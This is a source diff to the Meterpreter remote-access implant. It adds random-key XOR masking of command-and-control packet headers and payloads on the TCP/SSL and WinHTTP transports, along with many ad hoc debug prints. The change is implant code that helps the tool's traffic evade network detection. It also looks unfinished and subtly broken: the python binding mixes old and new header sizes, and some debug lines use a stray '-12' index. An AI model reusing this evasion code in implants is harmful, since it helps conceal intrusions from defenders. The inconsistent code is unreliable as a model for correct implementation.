diff --git a/c/meterpreter/source/common/base.c b/c/meterpreter/source/common/base.c index ef9140df..7f9674c2 100755 --- a/c/meterpreter/source/common/base.c +++ b/c/meterpreter/source/common/base.c @@ -323,6 +323,7 @@ BOOL command_process_inline(Command *baseCommand, Command *extensionCommand, Rem // lengths are sane. if (command_validate_arguments(command, packet) != ERROR_SUCCESS) { + dprintf("[COMMAND] Command arguments failed to validate"); continue; } @@ -660,7 +661,10 @@ DWORD command_validate_arguments(Command *command, Packet *packet) { case TLV_META_TYPE_STRING: if (packet_is_tlv_null_terminated(¤t) != ERROR_SUCCESS) + { + dprintf("[COMMAND] string is not null terminated"); res = ERROR_INVALID_PARAMETER; + } break; default: break; diff --git a/c/meterpreter/source/common/common.c b/c/meterpreter/source/common/common.c old mode 100644 new mode 100755 index 0ec40ce2..22c764c1 --- a/c/meterpreter/source/common/common.c +++ b/c/meterpreter/source/common/common.c @@ -107,3 +107,16 @@ void enable_debugging() } #endif + +VOID xor_bytes(DWORD xorKey, LPBYTE buffer, DWORD bufferSize) +{ + dprintf("[OJ] Key : %x", xorKey); + dprintf("[OJ] Length : %x", bufferSize); + + LPBYTE xor = (LPBYTE)&xorKey; + + for (DWORD i = 0; i < bufferSize; ++i) + { + buffer[i] ^= xor[i % sizeof(DWORD)]; + } +} diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h index 75d9f4b9..45889798 100755 --- a/c/meterpreter/source/common/common.h +++ b/c/meterpreter/source/common/common.h @@ -12,7 +12,8 @@ #include <stdio.h> #include <time.h> -#define SAFE_FREE(x) {free(x); x = NULL;} +#define SAFE_FREE(x) {free(x); x = NULL;} +#define rand_xor_key() ((((rand() % 254) + 1) << 0) | (((rand() % 254) + 1) << 8) | (((rand() % 254) + 1) << 16) | (((rand() % 254) + 1) << 24)) #ifdef _WIN32 #include <winsock2.h> @@ -232,3 +233,4 @@ static _inline void real_dprintf(char *format, ...) #endif int current_unix_timestamp(void); +VOID xor_bytes(DWORD xorKey, LPBYTE buffer, DWORD bufferSize); \ No newline at end of file diff --git a/c/meterpreter/source/common/core.c b/c/meterpreter/source/common/core.c index 696572a6..2382fa23 100755 --- a/c/meterpreter/source/common/core.c +++ b/c/meterpreter/source/common/core.c @@ -155,6 +155,7 @@ Packet *packet_create(PacketTlvType type, LPCSTR method) { if (!(packet = (Packet *)malloc(sizeof(Packet)))) { + dprintf("[OJ] Packet create failed to malloc"); break; } @@ -171,6 +172,7 @@ Packet *packet_create(PacketTlvType type, LPCSTR method) // Add the method TLV if provided if (method && packet_add_tlv_string(packet, TLV_TYPE_METHOD, method) != ERROR_SUCCESS) { + dprintf("[OJ] packet create failed to add string for method"); break; } @@ -258,10 +260,12 @@ Packet *packet_create_response(Packet *request) if (packet_get_type(request) == PACKET_TLV_TYPE_PLAIN_REQUEST) { + dprintf("[OJ] packet is a request"); responseType = PACKET_TLV_TYPE_PLAIN_RESPONSE; } else { + dprintf("[OJ] packet is a response"); responseType = PACKET_TLV_TYPE_RESPONSE; } @@ -270,18 +274,21 @@ Packet *packet_create_response(Packet *request) // Get the request TLV's method if (packet_get_tlv_string(request, TLV_TYPE_METHOD, &method) != ERROR_SUCCESS) { + dprintf("[OJ] couldn't get method"); break; } // Try to allocate a response packet if (!(response = packet_create(responseType, (PCHAR)method.buffer))) { + dprintf("[OJ] failed to create the packet"); break; } // Get the request TLV's request identifier if (packet_get_tlv_string(request, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS) { + dprintf("[OJ] Failed to get the request ID"); break; } diff --git a/c/meterpreter/source/common/core.h b/c/meterpreter/source/common/core.h index 1e726ae3..af976f3f 100755 --- a/c/meterpreter/source/common/core.h +++ b/c/meterpreter/source/common/core.h @@ -194,10 +194,17 @@ typedef struct PUCHAR buffer; } Tlv; +typedef struct +{ + DWORD xor_key; + DWORD length; + DWORD type; +} PacketHeader; + /*! @brief Packet definition. */ typedef struct _Packet { - TlvHeader header; + PacketHeader header; PUCHAR payload; ULONG payloadLength; diff --git a/c/meterpreter/source/extensions/python/python_meterpreter_binding.c b/c/meterpreter/source/extensions/python/python_meterpreter_binding.c old mode 100644 new mode 100755 index 39152b7e..ddfc7ff2 --- a/c/meterpreter/source/extensions/python/python_meterpreter_binding.c +++ b/c/meterpreter/source/extensions/python/python_meterpreter_binding.c @@ -22,8 +22,8 @@ static PyObject* binding_invoke(PyObject* self, PyObject* args) dprintf("[PYTHON] packet %p is %u bytes and is %s", packetBytes, packetLength, isLocal ? "local" : "not local"); Packet packet = { 0 }; - packet.header = *(TlvHeader*)packetBytes; - packet.payload = (PUCHAR)(packetBytes + sizeof(TlvHeader)); + packet.header = *(PacketHeader*)packetBytes; + packet.payload = (PUCHAR)(packetBytes + sizeof(PacketHeader)); packet.payloadLength = (ULONG)packetLength - sizeof(TlvHeader); // If the functionality doesn't require interaction with MSF, then diff --git a/c/meterpreter/source/extensions/stdapi/server/railgun/railgun.c b/c/meterpreter/source/extensions/stdapi/server/railgun/railgun.c old mode 100644 new mode 100755 diff --git a/c/meterpreter/source/server/server_setup_win.c b/c/meterpreter/source/server/server_setup_win.c index fe59f21c..ef604ead 100755 --- a/c/meterpreter/source/server/server_setup_win.c +++ b/c/meterpreter/source/server/server_setup_win.c @@ -320,6 +320,23 @@ DWORD server_setup(MetsrvConfig* config) srand((unsigned int)time(NULL)); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + dprintf("[OJ] Key: %x", rand_xor_key()); + __try { do diff --git a/c/meterpreter/source/server/win/remote_dispatch.c b/c/meterpreter/source/server/win/remote_dispatch.c index a02b3567..fdd3bb6a 100755 --- a/c/meterpreter/source/server/win/remote_dispatch.c +++ b/c/meterpreter/source/server/win/remote_dispatch.c @@ -257,7 +257,9 @@ DWORD request_core_uuid(Remote* remote, Packet* packet) DWORD request_core_machine_id(Remote* pRemote, Packet* pPacket) { DWORD res = ERROR_SUCCESS; + dprintf("[CORE] Running request_core_machine_id"); Packet* pResponse = packet_create_response(pPacket); + dprintf("[CORE] pResponse is %p", pResponse); if (pResponse) { diff --git a/c/meterpreter/source/server/win/server_transport_tcp.c b/c/meterpreter/source/server/win/server_transport_tcp.c old mode 100644 new mode 100755 index 2da43ade..14298cac --- a/c/meterpreter/source/server/win/server_transport_tcp.c +++ b/c/meterpreter/source/server/win/server_transport_tcp.c @@ -572,7 +572,7 @@ static DWORD packet_receive_via_ssl(Remote *remote, Packet **packet) DWORD headerBytes = 0, payloadBytesLeft = 0, res; CryptoContext *crypto = NULL; Packet *localPacket = NULL; - TlvHeader header; + PacketHeader header; LONG bytesRead; BOOL inHeader = TRUE; PUCHAR payload = NULL; @@ -586,7 +586,8 @@ static DWORD packet_receive_via_ssl(Remote *remote, Packet **packet) // Read the packet length while (inHeader) { - if ((bytesRead = SSL_read(ctx->ssl, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader)-headerBytes)) <= 0) + dprintf("[OJ] trying to read header (%u so far)", headerBytes); + if ((bytesRead = SSL_read(ctx->ssl, ((PUCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes)) <= 0) { if (!bytesRead) { @@ -597,31 +598,58 @@ static DWORD packet_receive_via_ssl(Remote *remote, Packet **packet) { dprintf("[PACKET] receive header failed with error code %d. SSLerror=%d, WSALastError=%d\n", bytesRead, SSL_get_error(ctx->ssl, bytesRead), WSAGetLastError()); SetLastError(ERROR_NOT_FOUND); - } + } + + dprintf("[OJ] failed with %u 0x%x ", GetLastError(), GetLastError()); break; } headerBytes += bytesRead; - if (headerBytes != sizeof(TlvHeader)) - { + if (headerBytes != sizeof(PacketHeader)) + { + dprintf("[OJ] need more bytes ..."); continue; } inHeader = FALSE; } - if (headerBytes != sizeof(TlvHeader)) + if (headerBytes != sizeof(PacketHeader)) { break; - } + } + + header.xor_key = ntohl(header.xor_key); + + // xor the header data + LPBYTE csr = (LPBYTE)&header; + + dprintf("[OJ] header bytes have been read"); + dprintf("[OJ] Before: 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x", csr[0], + csr[1], csr[2], csr[3], csr[4], + csr[5], csr[6], csr[7], csr[8], + csr[9], csr[10], csr[11], csr[12]); + + xor_bytes(header.xor_key, (LPBYTE)&header.length, 8); + + dprintf("[OJ] After: 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x", csr[0], + csr[1], csr[2], csr[3], csr[4], + csr[5], csr[6], csr[7], csr[8], + csr[9], csr[10], csr[11], csr[12]); + + dprintf("[OJ] xor key address: 0x%p", &header.xor_key); + dprintf("[OJ] Length address: 0x%p", &header.length); // Initialize the header - header.length = header.length; - header.type = header.type; - payloadLength = ntohl(header.length) - sizeof(TlvHeader); - payloadBytesLeft = payloadLength; + header.length = ntohl(header.length); + + // use TlvHeader size here, because the length doesn't include the xor byte + payloadLength = header.length - sizeof(TlvHeader); + payloadBytesLeft = payloadLength; + + dprintf("[OJ] total length is: %u", payloadLength); // Allocate the payload if (!(payload = (PUCHAR)malloc(payloadLength))) @@ -663,6 +691,26 @@ static DWORD packet_receive_via_ssl(Remote *remote, Packet **packet) { break; } + + dprintf("[OJ] Payload start Before: 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x", payload[0], + payload[1], payload[2], payload[3], payload[4], + payload[5], payload[6], payload[7], payload[8], + payload[9], payload[10], payload[11], payload[12]); + dprintf("[OJ] Payload end Before: 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x", payload[payloadLength - 13 + 0], + payload[payloadLength - 13 + 1], payload[payloadLength - 13 + 2], payload[payloadLength - 13 + 3], payload[payloadLength - 13 + 4], + payload[payloadLength - 13 + 5], payload[payloadLength - 13 + 6], payload[payloadLength - 13 + 7], payload[payloadLength - 12 + 8], + payload[payloadLength - 13 + 9], payload[payloadLength - 13 + 10], payload[payloadLength - 13 + 11], payload[payloadLength - 13 + 12]); + + xor_bytes(header.xor_key, payload, payloadLength); + + dprintf("[OJ] Payload start After : 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x", payload[0], + payload[1], payload[2], payload[3], payload[4], + payload[5], payload[6], payload[7], payload[8], + payload[9], payload[10], payload[11], payload[12]); + dprintf("[OJ] Payload end After : 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x", payload[payloadLength - 13 + 0], + payload[payloadLength - 13 + 1], payload[payloadLength - 13 + 2], payload[payloadLength - 13 + 3], payload[payloadLength - 13 + 4], + payload[payloadLength - 13 + 5], payload[payloadLength - 13 + 6], payload[payloadLength - 13 + 7], payload[payloadLength - 12 + 8], + payload[payloadLength - 13 + 9], payload[payloadLength - 13 + 10], payload[payloadLength - 13 + 11], payload[payloadLength - 13 + 12]); // Allocate a packet structure if (!(localPacket = (Packet *)malloc(sizeof(Packet)))) @@ -1065,6 +1113,15 @@ DWORD packet_transmit_via_ssl(Remote* remote, Packet* packet, PacketRequestCompl // Update the header length packet->header.length = htonl(packet->payloadLength + sizeof(TlvHeader)); } + + dprintf("[PACKET] New xor key for sending"); + packet->header.xor_key = rand_xor_key(); + // before transmission, xor the whole lot, starting with the body + xor_bytes(packet->header.xor_key, (LPBYTE)packet->payload, packet->payloadLength); + // then the header + xor_bytes(packet->header.xor_key, (LPBYTE)&packet->header.length, 8); + // be sure to switch the xor header before writing + packet->header.xor_key = htonl(packet->header.xor_key); idx = 0; while (idx < sizeof(packet->header)) @@ -1089,6 +1146,8 @@ DWORD packet_transmit_via_ssl(Remote* remote, Packet* packet, PacketRequestCompl break; } + dprintf("[OJ] packet header sent"); + idx = 0; while (idx < packet->payloadLength) { diff --git a/c/meterpreter/source/server/win/server_transport_winhttp.c b/c/meterpreter/source/server/win/server_transport_winhttp.c index f8887ce8..d0d2cbc4 100755 --- a/c/meterpreter/source/server/win/server_transport_winhttp.c +++ b/c/meterpreter/source/server/win/server_transport_winhttp.c @@ -278,15 +278,17 @@ static DWORD packet_transmit_http(Remote *remote, Packet *packet, PacketRequestC HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; unsigned char *buffer; - buffer = malloc(packet->payloadLength + sizeof(TlvHeader)); + DWORD totalLength = packet->payloadLength + sizeof(PacketHeader); + + buffer = malloc(totalLength); if (!buffer) { SetLastError(ERROR_NOT_FOUND); return 0; } - - memcpy(buffer, &packet->header, sizeof(TlvHeader)); - memcpy(buffer + sizeof(TlvHeader), packet->payload, packet->payloadLength); + + memcpy(buffer, &packet->header, sizeof(PacketHeader)); + memcpy(buffer + sizeof(PacketHeader), packet->payload, packet->payloadLength); do { @@ -296,7 +298,7 @@ static DWORD packet_transmit_http(Remote *remote, Packet *packet, PacketRequestC break; } - result = ctx->send_req(hReq, buffer, packet->payloadLength + sizeof(TlvHeader)); + result = ctx->send_req(hReq, buffer, totalLength); if (!result) { @@ -308,7 +310,7 @@ static DWORD packet_transmit_http(Remote *remote, Packet *packet, PacketRequestC dprintf("[PACKET TRANSMIT] request sent.. apparently"); } while(0); - memset(buffer, 0, packet->payloadLength + sizeof(TlvHeader)); + memset(buffer, 0, totalLength); ctx->close_req(hReq); return res; } @@ -380,6 +382,17 @@ static DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequ // Update the header length packet->header.length = htonl(packet->payloadLength + sizeof(TlvHeader)); } + + dprintf("[PACKET] New xor key for sending"); + packet->header.xor_key = rand_xor_key(); + dprintf("[PACKET] XOR Encoding payload"); + // before transmission, xor the whole lot, starting with the body + xor_bytes(packet->header.xor_key, (LPBYTE)packet->payload, packet->payloadLength); + dprintf("[PACKET] XOR Encoding header"); + // then the header + xor_bytes(packet->header.xor_key, (LPBYTE)&packet->header.length, 8); + // be sure to switch the xor header before writing + packet->header.xor_key = htonl(packet->header.xor_key); dprintf("[PACKET] Transmitting packet of length %d to remote", packet->payloadLength); res = packet_transmit_http(remote, packet, completion); @@ -414,7 +427,7 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) DWORD headerBytes = 0, payloadBytesLeft = 0, res; CryptoContext *crypto = NULL; Packet *localPacket = NULL; - TlvHeader header; + PacketHeader header; LONG bytesRead; BOOL inHeader = TRUE; PUCHAR payload = NULL; @@ -469,7 +482,7 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) while (inHeader && retries > 0) { retries--; - if (!ctx->read_response(hReq, (PUCHAR)&header + headerBytes, sizeof(TlvHeader)-headerBytes, &bytesRead)) + if (!ctx->read_response(hReq, (PUCHAR)&header + headerBytes, sizeof(PacketHeader)-headerBytes, &bytesRead)) { dprintf("[PACKET RECEIVE HTTP] Failed HEADER read_response: %d", GetLastError()); SetLastError(ERROR_NOT_FOUND); @@ -489,7 +502,7 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) headerBytes += bytesRead; - if (headerBytes != sizeof(TlvHeader)) + if (headerBytes != sizeof(PacketHeader)) { continue; } @@ -502,18 +515,22 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) break; } - if (headerBytes != sizeof(TlvHeader)) + if (headerBytes != sizeof(PacketHeader)) { dprintf("[PACKET RECEIVE HTTP] headerBytes no valid"); SetLastError(ERROR_NOT_FOUND); break; } - + + dprintf("[PACKET RECEIVE HTTP] decoding header"); + header.xor_key = ntohl(header.xor_key); + xor_bytes(header.xor_key, (LPBYTE)&header.length, 8); + header.length = ntohl(header.length); + // Initialize the header vdprintf("[PACKET RECEIVE HTTP] initialising header"); - header.length = header.length; - header.type = header.type; - payloadLength = ntohl(header.length) - sizeof(TlvHeader); + // use TlvHeader size here, because the length doesn't include the xor byte + payloadLength = header.length - sizeof(TlvHeader); payloadBytesLeft = payloadLength; // Allocate the payload @@ -552,7 +569,10 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) { break; } - + + dprintf("[PACKET RECEIVE HTTP] decoding payload"); + xor_bytes(header.xor_key, payload, payloadLength); + // Allocate a packet structure if (!(localPacket = (Packet *)malloc(sizeof(Packet)))) { @@ -560,7 +580,7 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) break; } - memset(localPacket, 0, sizeof(Packet)); + memset(localPacket, 0, sizeof(Packet)); // If the connection has an established cipher and this packet is not // plaintext, decrypt